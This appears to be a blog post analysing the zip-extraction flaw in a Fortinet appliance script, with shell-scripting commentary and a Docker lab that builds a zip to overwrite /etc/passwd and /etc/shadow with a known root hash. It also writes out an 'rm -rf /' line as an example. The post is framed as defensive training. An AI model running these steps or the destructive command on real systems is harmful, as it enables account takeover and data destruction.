Sekurak - hacking fortinet
in fortigate product (a product related to security!). I'm trying to show the problem hoping that maybe you (among others) can learn a bit to write better (more secure) shell scripts.
A bit about...
me
I worked a bit with many shells in different versions on many platforms. To name a few: ksh (korn shell), bash (bourne again shell), at&t sh, zsh, ash, dash. Linux, BSD, Android (I already mentioned linux), iOS (and BSD), some unix-like OS'es, hp-ux, minix, aix. Running in posix and non-posix mode.
fortigate
I have not worked with them much but from what I heard - they offer great (but a bit expensive) products of many kinds.
sekurak
Great trainings, great and professional materials about security topics. If you have some budget for trainings then this is a good option.
The script
Sekurak asked about this script:
#!/bin/s
unalias cd 2> /dev/null
cd /
VERSION=`/bsc/campusMgr/bin/getPlatformVersion`
if [ "$VERSION" == "0" ]
then
?? ?echo "This script is not supported on this version of firmware"
?? ?exit;
fi
/usr/bin/unzip -o /bsc/campusMgr/config/upload.applianceKey
The vulnerability explained
When decompressing an archive (zip, tar or other) you should make sure where you decompress it to. If you are lucky - there would be a sub-directory created with the content. Worse when your current directory would be filled with thousands of small files. Here problem is even worse (and we are not yet touching any hardcore hacking techniques): the decompressed files could have some path (sometimes absolute).
If the script is executed with root context, no advanced security (ex. SELinux) and in the root directory then we can prepare a special zip file to take control over the system by extracting files to any place in the filesystem.
How to test
I suggest that you run 2 terminals. First one to run the fortigate, second to access terminal on it for tests.
docker run --rm --name forti -it fortinet/fortimanager
# "docker" This runs docker
# "run" and docker "runs" an image
# "--rm" after docker is stopped it should clean after itself
# "--name forti" to call it "forti" so we can easily access it
# "-it" run it with interactive mode so you can try to log in
# "fortinet/fortimanager" is the image from fortigate that we are running
This runs but asks us for the password... and I have no idea what is it. Let's start second docker command to play with the docker container:
docker exec -u0 -it forti /bin/sh
# "exec" to execute a command within the running container
# "-u0" to run as root :)
# "-it forti" to run it in our already running container
# "/bin/sh" is the command (shell) we would like to start
And let's start by checking what is the version of our shell
sh-5.0# /bin/sh --versio
GNU bash, version 5.0.11(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>
Problems with the script
Once we know what is in the FortiOS, we know the script and can play with it... let's see what issues can we find.
#!/bin/sh
The `#!` at the beginning is called a magic number or a shebang. Before executing any command OS must first check what type of the executable it is. If it is a script - it must be executed within something else. Shebang tells to execute `/bin/sh /path/to/the/script.sh` in our case. Sometimes system doesn't know where `sh` is - this is why you provide a full path (but only when you are sure that the file is there). This is rather OK.
unalias cd > /dev/null
Command "unalias" removes any aliasses defined in the system just in case if anything was "hiding" the original command "cd". If there is any output (ex. an warning or an error) then it is printed - but we are sending this to nowhere (/dev/null). This should be OK.
VERSION=`/bsc/campusMgr/bin/getPlatformVersion`
We are defining a new variable called `VERSION`. While it might be better to define this variable using `typeset`, we cannot be sure that script is executed within bash. This is so far a valid code.
The backticks are executing a command `/bsc/campusMgr/bin/getPlatformVersion`. I am not running this on any actual vulnerable machine thus I cannot tell what it does or what is the result here. There are multiple problems with that part already:
But we can assume that we know where it runs and that the binary is there and what it returns.
if [ "$VERSION" == "0" ]
Multiple issues:
[ 1 = 0 || rm -rf / ]
[ "$VERSION" == "0" ]
then
echo "This script is not supported on this versin of firmware"
exit;
fi
/usr/bin/unzip -o /bsc/campusMgr/config/upload.applianceKey
Preparing an exploit
There is a group of techniques called `tarbomb`. It is related to "tar archives" that could contain full paths and whatever data.
In our case this is a zip - it should be more secure.
Let's try to prepare somethign malicious.
sh-5.0# cd /tmp
sh-5.0# mkdir -p tarbomb/etc
sh-5.0# cd /tmp/tarbomb
sh-5.0# echo 'root:$1$TX57bFeO$KkuKrRHWnaa9s46IEuCmi/:19411:0:99999:7::' > ./etc/shadow
sh-5.0# echo 'root:x:0:0:root:/root:/bin/sh' > ./etc/passwd
sh-5.0# zip /tmp/malicious.zip ./etc/passwd ./etc/shadow
sh-5.0# cd /
sh-5.0# unzip /tmp/malicious.zip
sh-5.0# unzip -o /tmp/malicious.zip
Archive:? /tmp/malicious.zip
unzip: 'etc/passwd' exists but is not a regular file
Let's make it easier
sh-5.0# rm /etc/passwd
sh-5.0# unzip -o /tmp/malicious.zip
Archive:? /tmp/malicious.zip
? inflating: etc/passw
? inflating: etc/shadow
Now we have replaced passwords file with our own. The value injected is an MD5 for password `pass`. Kinda. In fact it is still not working... But this is not a hacking instruction but a training material to protect from hacking.
If you have read it all - thanks for your time and patience!
IT enthusiast... ;)
2 年And you can find articles about the vulnerability itself on ex. https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/ (while I tried to focus on security, not hacking the fortinet)